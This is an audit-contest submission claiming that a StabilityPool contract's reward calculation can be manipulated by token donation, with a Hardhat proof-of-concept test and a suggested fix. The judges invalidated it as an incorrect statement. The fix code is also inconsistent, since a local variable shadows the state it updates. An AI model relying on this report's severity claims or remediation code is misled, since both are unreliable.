Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

StabilityPool Reward Calculation Vulnerable to Manipulation via Token Donation

Summary

StabilityPool.sol contract's reward calculation is vulnerable to manipulation through direct token transfers, allowing malicious users to artificially inflate rewards for targeted users by sending RAAC tokens directly to the contract.

Vulnerability Details

The vulnerability exists in the calculateRaacRewards function:

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
// @audit-issue Uses direct contract balance
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
// @audit-issue Vulnerable reward calculation
return (totalRewards * userDeposit) / totalDeposits;
}

Key issues:

  1. totalRewards uses direct contract balance via balanceOf()

  2. Any user can modify this balance by transferring RAAC tokens directly to the contract

  3. No tracking of legitimate vs donated rewards

  4. No protection against balance manipulation

Impact

  1. Attackers can artificially inflate rewards for specific users

  2. Fair distribution mechanism can be bypassed

  3. Economic exploitation of the reward system

  4. Unfair advantage for malicious users

  5. Protocol's reward tokenomics compromised

Proof of Concept

const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("StabilityPool Reward Manipulation", function() {
let stabilityPool, raacToken, deToken, owner, attacker, user;
const INITIAL_DEPOSIT = ethers.utils.parseEther("1000");
const ATTACK_AMOUNT = ethers.utils.parseEther("100");
beforeEach(async function() {
[owner, attacker, user] = await ethers.getSigners();
// Deploy tokens
const RToken = await ethers.getContractFactory("RToken");
const DEToken = await ethers.getContractFactory("DEToken");
const RAACToken = await ethers.getContractFactory("RAACToken");
raacToken = await RAACToken.deploy();
deToken = await DEToken.deploy();
// Deploy StabilityPool
const StabilityPool = await ethers.getContractFactory("StabilityPool");
stabilityPool = await StabilityPool.deploy();
await stabilityPool.initialize(
deToken.address,
raacToken.address
);
// Setup initial state
await deToken.mint(user.address, INITIAL_DEPOSIT);
await deToken.connect(user).approve(stabilityPool.address, INITIAL_DEPOSIT);
await stabilityPool.connect(user).deposit(INITIAL_DEPOSIT);
});
it("Should manipulate rewards through direct token transfer", async function() {
// Get initial rewards
const initialRewards = await stabilityPool.calculateRaacRewards(user.address);
// Attacker transfers RAAC directly to contract
await raacToken.mint(attacker.address, ATTACK_AMOUNT);
await raacToken.connect(attacker).transfer(stabilityPool.address, ATTACK_AMOUNT);
// Verify rewards were manipulated
const manipulatedRewards = await stabilityPool.calculateRaacRewards(user.address);
expect(manipulatedRewards).to.be.gt(initialRewards);
expect(manipulatedRewards).to.equal(initialRewards.add(ATTACK_AMOUNT));
});
});

Tools Used

Manual code review and Hardhat testing framework were used to identify and verify this vulnerability. The PoC demonstrates how an attacker can manipulate reward calculations by simply transferring tokens to the contract:

  1. User makes legitimate deposit

  2. Attacker transfers RAAC tokens directly to StabilityPool

  3. User's rewards are artificially inflated

  4. No mechanism prevents or detects this manipulation

Recommendation

Modify the reward calculation function to track legitimate rewards internally:

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
// @audit-fix Track legitimate rewards internally instead of using balance
uint256 verifiedRewards = _getVerifiedRewards();
if (totalDeposits < 1e6) return 0;
return (verifiedRewards * userDeposit) / totalDeposits;
}
function _updateRewards(uint256 newRewards) internal {
verifiedRewards += newRewards;
}

Additionally:

  1. Add nonReentrant modifier to reward-related functions

  2. Implement reward rate limits

  3. Add emergency pause for suspicious reward activity

Final Assessment

Severity: High

  • Direct financial impact through reward manipulation

  • No existing protection mechanisms

  • Easy to exploit

Likelihood: High

  • Simple to execute

  • No technical barriers

  • High incentive for attackers

Impact: Severe reward distribution manipulation

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.